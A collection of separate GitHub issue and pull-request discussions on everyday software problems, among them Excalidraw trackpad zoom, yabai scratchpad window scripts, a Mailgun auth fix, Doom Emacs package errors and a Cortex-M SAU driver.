See the video attached for a comparison with the pinch-to-zoom in another web app.
https://user-images.githubusercontent.com/3329248/145570864-239cdd59-037c-4c94-a9a6-dd692c56a6ae.mp4

I felt this too. As far as I remember, it used to be smooth at one time. I thought it was an intentional change. @dwelle

Definitely not intentional. I haven't used trackpad with Excalidraw much, so can't say if it's a regression or not. But it seems to only be related to (Apple) trackpads. Touchscreens (Android, iOS) seem to work fine.

Oh, I see. I should have reported it earlier. Just checked it works fine with macos safari.

Yes, Safari zooming looks smooth.
Strangely enough, zooming on diagrams.net shown above works smoothly in Chrome, but not on Safari.

I also happened to run into this problem, so far found that only 10 as the floating range change.

Having the same issue on Chrome with both my external Apple trackpad and the one built into my Macbook Pro 2020

Zooming is such a core part of the Excalidraw experience, it would be fantastic to find a fix for this! Has anyone done any digging? What's different about the events triggered by zooming on a trackpad compared to a touch screen device?


Cmd-tab and pulling app vs user

One of my biggest annoyance with cmd-tab is that apps are too much little smart when it comes to desktop occupancy

If an App (ex. mail) is assigned to non desktop (by default) and opened in desktop 1 (ex. personal). If I cmd-tab (or alt-tab) this app from desktop 2 (ex. work), then I am "pulled" myself to desktop 1, losing context of what I wanted to write.

If an App (ex. mail) is assigned to all desktops, then, let say I am writing an email on desktop 1 (personal) and quickly want to see an operation being run on chrome on desktop 2 (work), then Mail is "pulled" with me and I have to hide it to see what I wanted to see.

Can Yabai handle this kind of issue ?
Is there a way, when I use command tab to select a running macOS app on another desktop, to "pull" and bring the app to my current desktop rather than me being pulled to where lives the app? (or to automatically "hide" the focused app when I switch to another desktop?)

Have you tried https://github.com/lwouis/alt-tab-macos ? It can show only windows those are on a focused Desktop, e.g.: AltTab Settings > Controls > Shortcut 1 > Show windows from: "Screen showing AltTab".

Seems like you are describing the new "scratchpad" feature.
Personally i set up some apps to be scratchpads (Spotify, Slack, Calendar etc.), and keybinds to toggle them on/off.
Let's say I'm on space 1, i hit spotify key, i see spotify as a floating window, i switch to space 2 (thus some other app on it), i hit spotify key, i get the window on space 2
I don't use cmd+tab though, just some custom keybinds to switch spaces, so i'm not sure this flow will fork %100 for you

@vsuharnikov yes I come from alt-tab, where the dev recommended me yabai as alt-tab does not have any power/feature to control the windows themselves.
@cagdassalur oh that my be the solution! Is is still in beta or is it a stable feature?

@rpc31 you can always see most up-to-date info with man yabai
Here's a minimal example
# .yabairc
yabai -m rule --add app="^Spotify$" scratchpad="Spotify" opacity=".95" grid="11:11:1:1:9:9"

# .skhdrc
alt + shift + ctrl - y :   yabai -m window --toggle Spotify || open  -a Spotify

With this, your key should toggle spotify on and off, and when it's on it should stay on the space you opened it. Didn't get your full flow so not sure if you want something to work with more apps at once without specific keybinds for each of them. But if this isn't it probably there will be a way to set it up, let me know.
I have a bit different setup, closes current open scratchpad window when opening another one, so i don't have multiple active windows at the same time. Also i use it to reset the grid so i can freely adjust the size and not have it permanent.
# .skhd, mapping some of my keyboard keys to specific apps
alt + shift + ctrl - 5 : ~/.scripts/pipper.sh toggle kitty
alt + shift + ctrl - 6 : ~/.scripts/pipper.sh toggle Slack
alt + shift + ctrl - y : ~/.scripts/pipper.sh toggle Calendar
alt + shift + ctrl - s : ~/.scripts/pipper.sh toggle Spotify
alt + shift + ctrl - 4 : ~/.scripts/pipper.sh toggle "Firefox Nightly"

# .yabairc
yabai -m rule --add app="^Spotify$" scratchpad="Spotify" opacity=".95" grid="11:11:1:1:9:9"
yabai -m rule --add app="^Slack$" scratchpad="Slack" opacity=".95" grid="11:11:1:1:9:9"
yabai -m rule --add app="^Calendar$" scratchpad="Calendar" opacity=".95" grid="11:11:1:1:9:9"
yabai -m rule --add app="^kitty$" title="^freebird" scratchpad="kitty" opacity=".9" grid=3:3:0:0:3:1

# pipper.sh
toggle() { yabai -m window --toggle "$NAME" || open  -a "$NAME" }

kitty_toggle() {
  yabai -m window --toggle "kitty" ||
    nohup kitty --title freebird --session ~/.config/kitty/sessions/freebird &
}

toggle_others() {
  yabai -m window $(
    yabai -m query --windows |
      jq -r "[.[] | select(.scratchpad != \"\" and .scratchpad != \"$NAME\" and .\"is-visible\"==true)
          | \"--toggle \" + .app ] | join(\" \")"
  )
}

NAME="$2"
if [[ $1 == "toggle" ]]; then
  [[ $NAME == "kitty" ]] && kitty_toggle || toggle
  toggle_others
  # yabai -m rule --apply # Messes with the Arc hack, need to give the current window id
fi

fun fact: I used to have a long hacky messy script just to have this functionality, with non-ideal result with app's secondary windows and menus going everywhere, trying not to clash layers above/below. And having it run instantly on keypress while querying a ton of things to understand if an app is showing/hiding/not running . -m query was not fast enough so i had to cache app pids and everything, proper mess. Now we have this amazing feature built-in, really appreciate that we have this and working so good.


checkstyle: enforce where line breaks happen

We should do it consistently throughout the SDK. Only a few
fixups.
Ported from: https://github.com/checkstyle/checkstyle/blob/ccdc3c09c500ccd31d56e4d6ed9c2d86edf2e9f1/src/main/resources/google_checks.xml#L167

R: @tgroh @davorbonaci @amitsela

Jenkins seems to not like this.
LGTM

Jenkins has other issues, unrelated to this. (Follow the link)

👍


Cancel through SelectionController mess up LocalHistory

In my app, I can cancel selection through a button. When the button is pressed, I call selectionController.clear(), which will update the internal state of the Grid component through _onSelectedChange, but this method do not call _updateLocalHistory, hence the LocalHistoryEntry isn't removed and as soon as I pop the route, it will crash due to setState(_selectionManager.clear); on a disposed widget.
The fix is rather easy, but first I'd like to understand what's the need for this LocalHistoryEntry?
By the way, we need to add impliesAppBarDismissal: false to the LocalHistoryEntry, given that it will not dismiss the bar, at least in my case.

hey there :)
thanks for the descriptive issue and for spotting the bug.

The fix is rather easy, but first I'd like to understand what's the need for this LocalHistoryEntry?

as you can check in this test, by adding a new entry to the local history, the widget unselects all items whenever we try to pop the route. this behavior is what causes the selection to be automagically cleared when the user taps the close button, for instance, without even needing to link the CloseButton.onPressed callback to the grid controller. Android's back button/gesture is another example of an action that causes the selection to be cleared due to the local history entry.

By the way, we need to add impliesAppBarDismissal: false to the LocalHistoryEntry, given that it will not dismiss the bar, at least in my case.

sounds reasonable. i'll expose such an attribute.

please, let me know if the last release works out for you :)

Thank you for updating it so soon, it works as expected and this helped me better understand LocalHistory :+1:


[WIP] Update deps

Proposed Changes

Update deps (./hack/update-deps --upgrade)

@slinkydeveloper, what should we do here? Implement by ourselves conformance tests?

@slinkydeveloper, what should we do here? Implement by ourselves conformance tests?

I don't think it's worth it. For now i would say disable that test/comment it to unblock this one. For me we have two options:

Or we put more pressure for reverting this one: https://github.com/knative/eventing/pull/3967 (maybe just open the pr to revert it to trigger the discussion)
Or we wait for the test framework (that we don't really know when it will happen)

IMO rewriting the test from scratch doesn't make sense at this point

Or we put more pressure for reverting this one: knative/eventing#3967 (maybe just open the pr to revert it to trigger the discussion)

I get this response from GitHub:

Sorry, this pull request couldn’t be reverted automatically. It may have already been reverted, or the content may have changed since it was merged.

which means we cannot revert automatically, and since there is some work to adjust those tests, it would be bad if I work on it, and then it gets rejected.

Or we wait for the test framework (that we don't really know when it will happen)

Yeah, this isn't an option.

IMO rewriting the test from scratch doesn't make sense at this point

I see a value in it since we remove a dependency that at this point seems to be too unreliable.

For now i would say disable that test/comment it to unblock this one.

TBH I'm not confident in disabling those tests.

 I see a value in it since we remove a dependency that at this point seems to be too unreliable.

If you write the test by yourself, it's not a conformance test anymore :smile: And again, then we start having different test frameworks inside eventing and this could make just a whole more complex push this project forward.
I would say, we're not in a rush for this update so let's wait a bunch of more days and let's talk about this at next eventing delivery wg/eventing wg to raise the problem, if nothing happens for the end of the next week, we just copy paste the tests and we place a big todo for it

@pierDipi can we copy paste the tests?

Yes, we can!

@pierDipi so let's do it and let's put a big todo there

/assign @slinkydeveloper done

/lgtm
/approve


[fix][broker] fix precision error in UsageUnit

Motivation
UsageUnit.Kbps.convertUnit is always 0. We should use double.
Modifications
Change int to double.
Verifying this change

[ ] Make sure that the change passes the CI checks.

This change added tests and can be verified as follows:

LinuxInfoUtilsTest

Does this pull request potentially affect one of the following parts:
If yes was chosen, please highlight the changes

Dependencies (does it add or upgrade a dependency): (no)
The public API: (no)
The schema: (no)
The default values of configurations: (no)
The wire protocol: (no)
The rest endpoints: (no)
The admin cli options: (no)
Anything that affects deployment: (no)

Documentation
Check the box below and label this PR (if you have committer privilege).
Need to update docs?

[x] no-need-doc
bug fix.

@mattisonchao @michaeljmarshall @gaozhangmin PTAL

/pulsarbot run-failure-checks


Images reference breaks Obsidian to Google drive To dataset to perlite

Obsidian Vault is mapped to a google drive.
Cloud sync periodically pulls data off the cloud to a Truenas dataset
Data set is shared to perlite server with NFS share
Tested with document pwndbg.md (from demo folder):
Copied whole folder Dynamic Analyses to the Google drive
Images are rendered to Perlite.
MD referenced are mapped to (for example)
![[docs/Pasted image<PHONE_NUMBER>0413.png]] in the original MD file
IF Obsidian touches the document, is changes the image reference to:
![[Pasted image<PHONE_NUMBER>0413.png]]
Then it breaks on perlite

I tried adding the /docs/ before the image name like in the original file:
Images reference breaks in obsidian but works on perlite.
I the tried ./docs/ And it Works...
Is there a special trick to make this work more fluently? Plugin that should be used? From my perspective, my Obsidian version does not work as indended with image references.
Thanks

He @hellrazorx64,
In the options Files & Links you need to set the New link format to Relative path to file
BR
Sec77

You are awesome! thank you!


Where does the validator search plugins for?

I'm trying to build and install my plugins to /usr/local/lib/clap.
The REAPER DAW sees my plugins but does not instantiate.
I'm trying to use the clap-validator but have no idea about the place the plugins should be located for it because ./clap-validator list gives nothing.
It could be nice to have a command line option to specify the plugin installation directory to force the validator to scan this directory.

Check the documentation from  entry.h for information on CLAP's standard plugin search paths and the CLAP_PATH environment variable: https://github.com/free-audio/clap/blob/main/include/clap/entry.h#L12-L29
You'll probably want to have it validate specific plugins though. The clap-validator list command is there mostly just because, and to serve as yet another reference implementation. See clap-validator validate --help for more all available options. The readme should probably list though (though running clap-validator will tell you about clap-validator validate).

Thanks. CLAP_PATH worked.


Hannah/GitHub actions

Added github action to auto deploy when something is pushed to master.

If we're going to auto-deploy on push to ndmaster, do we have appropriate gates on merges that branch? Currently, can someone push to ndmaster w/o a PR?

If we're going to auto-deploy on new commits to ndmaster, do we have appropriate gates on merges that branch? Currently, can someone push to ndmaster w/o a PR?

We definitely should make sure no one can push without a PR, but I do not have high enough privileges to check


df.ta.strategy() returning None

Which version are you running? The lastest version is on Github. Pip is for major releases.
import pandas_ta as ta
print(ta.version)

Upgrade.
$ pip install -U git+https://github.com/twopirllc/pandas-ta

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Provide sample code.
Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Additional context
Add any other context about the problem here.
Thanks for using Pandas TA!

Hello @danwatson16,
I would like to help you, however you did not fill any information requested of you. When you have the time, please fill out the Issue contents listed above; the more the merrier.
Kind Regards,
KJ

df.ta.strategy() doesn't supposed to return anything. It adds new columns to df.

Hello @danwatson16,
I assume by no response that you have resolved this Issue on your own and I will be closing this issue in a few days. However if that is not the case, please fill out the Issue contents listed above. Make sure you have tested with the Latest Version of Pandas TA:
$ pip install -U git+https://github.com/twopirllc/pandas-ta

Also provide reproducible code.
Kind Regards,
KJ


Create  shopping-sample

Thank you for opening a Pull Request! Before submitting your PR, there are a few things you can do to make sure it goes smoothly:

[x] Make sure to open an issue as a bug/issue before writing your code!  That way we can discuss the change, evaluate designs, and agree on the general idea
[ ] Ensure the tests and linter pass
[ ] Code coverage does not decrease (if any source code was changed)
[ ] Appropriate docs were updated (if necessary)

Fixes #<issue_number_goes_here> 🦕

Hey @MAvManh, before you open a PR for this please create an Issue on this repository first to discuss this file's needs. I'll be closing this PR for now.


[Samples][11.qnamaker] Add README

Fixes #
Description

Specific Changes

Testing

Agree with you, but it's completely a copy paste from C# :sad-pepe:

Agree with you, but it's completely a copy paste from C# :sad-pepe:

I'm not seeing that line in C# README. I thought you added that line, that's why I commented that 🤔

My bad, that part is a copy paste from the READMEs of the Java's samples


doom upgrade reports "Encountered error with magit"

After a new installation, I run doom upgrade and reports error:
> Updating packages (this may take a while)...
  ! (95/209) Encountered error with magit
    x (error Failed to run "git"; see buffer *straight-process*)
      - fatal: ambiguous argument 'HEAD': unknown revision or path not in the working tree.
      Use '--' to separate paths from revisions, like this:
      'git <command> [<revision>...] -- [<file>...]'
      HEAD

  > (172/209) Fetching f...
x Encountered 1 error(s), the offending packages: magit

Sorry for the late response. Do you still have this issue? This may have been resolved in recent updates of Doom. Otherwise, try deleting ~/.emacs.d/.local/straight/{repos,build}/magit before running doom upgrade again.

Thanks a lot. I resolved this issue using the exact solution you mentioned.


Improve docs about linting

Following the instructions given in the docs when setting up local development environment results in different linting configuration than is used in pr tests.
Does the user need to do something manually?

I updated the packages at some point and that changed some of the linting rules. Try running npm ci in all folders with a package.json, that might fix the issue.

I tried cloning a fresh repo and running npm ci atleast in server and client but running linter in those folders it had a lot more lint errors than the pr checks. I can try later again.

You need to also run npm ci in the common folder.

The documentation is apparently out of date for linting. Closing as duplicate (see #626)


Add privacy policy URL to update methods

What problem does the pull request solve?
The previous privacy policy PR added the relevant fields to the databse, but didn't include the logic to update them from the endpoints, this one adds that logic.
Trello card: https://trello.com/c/Q5wKHZ75/15-add-link-to-privacy-information-to-forms-api-needs-dev-review
Checklist

[x] I've used the pull request template
[x] I've linked this PR to the relevant issue (if mission work)
[x] I've written unit tests for these changes (if code change)
[n/a] I've updated the documentation in (If any documentation requires updating)

[n/a] README.md
[n/a] Elsewhere (please link)

Still good to merge.


Provide the possible enviroment variable options base on the provider…

Provide the possible environment variables in the README.
Bug fix:
Problem:

When an email send is trigger while using the Mailgun provider, the request always fail and return 401 not authorize.

Solution:
Base on the documentation of Mailgun:

Authentication to the Mailgun API is done by providing an Authorization header using HTTP Basic Auth

Update the header for the request to use Basic auth with the username and API_KEY in base64

Hey @leamsigc Looks good, can we encode this in some other way? Since Buffer.from() only works in node.

That make sense, we can handle other environment as well
It seems like the recommended way is to use btoa  even that is marked as deprecated, but this will support:
The recommendations for other runtimes appear to be:

Cloudflare Workers: btoa
Deno: btoa or std/encoding/base64
Vercel Edge Functions: btoa
Web: btoa


Colour Palette Not Showing Correct Colour

Which Component Has the Bug?

Colour Palette

Describe the bug

Colours are not showing properly

There is an inline !important tag that isn't being read in the code when rendered

#136


sampling_random doesn't work well with geom_boxplot

In geom_boxplot, dataframe after the stat transformation contains both: box data-points and ouliers data-points.
In the situation when there are large quantities of outliers, the random sampling will drop all or nearly all boxes and leave only outliers on the plot.

Temporarily just disabled sampling for geom_boxplot.

Temporarily just disabled sampling for geom_boxplot.


Add Security Attribution Unit support

The SAU is a Armv8-M core peripheral that, alongside the Implementation
Defined Attribution Unit, manages the security attribution of the memory
zones.
This driver provides abstraction to help setting the SAU up.
This pull-request adds a new dependency, bitfield which provides a really nice way to describe bit fields in registers with methods to access them. It makes it really easier to use/write rather than having to manually declare the shift number and mask constants.
Although bitfield does not have any dependency, I am well aware of the increased cost of memory its addition could cause to embedded targets.
I am really open to criticism about its use, if you would prefer me not to use it, or if you would like to see benchmarks of memory usage for some reference targets of embedded Rust 😃

Thanks for the pull request, and welcome! The Rust team is excited to review your changes, and you should hear from @ithinuel (or someone else) soon.
If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.
Please see the contribution instructions for more information.

bitfield ... provides a really nice way to describe bit fields in registers

I think the medium-term plan was to find/write an SVD file for the Cortex-M core peripherals, so we could use svd2rust and generate a cortex-m-pac (which this high-level crate would then use). But I think this is a good interim step.

Maybe it is better to wait that the cortex-m-pac crate is available to remove the bitfields dependency and use that.

Assuming that #193 is merged I guess this would not be a breaking change anymore and hence be merged more easily?
It could use the bitfield crate for now and I can switch to using the cortex-m-pac crate in a future PR when it is available.

bors r+


feat(script): add script to generate db models

Ticket Link

Related Links

Description

Steps to Reproduce / Test

Request

Response

Codecov Report

Merging #4 (0eed5ec) into main (0b21423) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head 0eed5ec differs from pull request most recent head 6d0a403. Consider uploading reports for the commit 6d0a403 to get more accurate results

@@           Coverage Diff           @@
##             main       #4   +/-   ##
=======================================
  Coverage   80.41%   80.41%
=======================================
  Files          27       27
  Lines        1021     1021
=======================================
  Hits          821      821
  Misses        154      154
  Partials       46       46

Help us with your feedback. Take ten seconds to tell us how you rate us.


Escaped character table is not formatted correctly and doesn't contai…

…n all potential values
The escaped character table does not contain all possible values that could appear in the URL string and does not format correctly on the page.  Ideally the PowerShell function should be used instead using inbuilt functionality.

@nenonix @JohanFreelancer9 Copy editing is needed for this PR. Thanks.

@kaarins PR has been copyedited and is ready for final review, could you please check and merge? Thanks!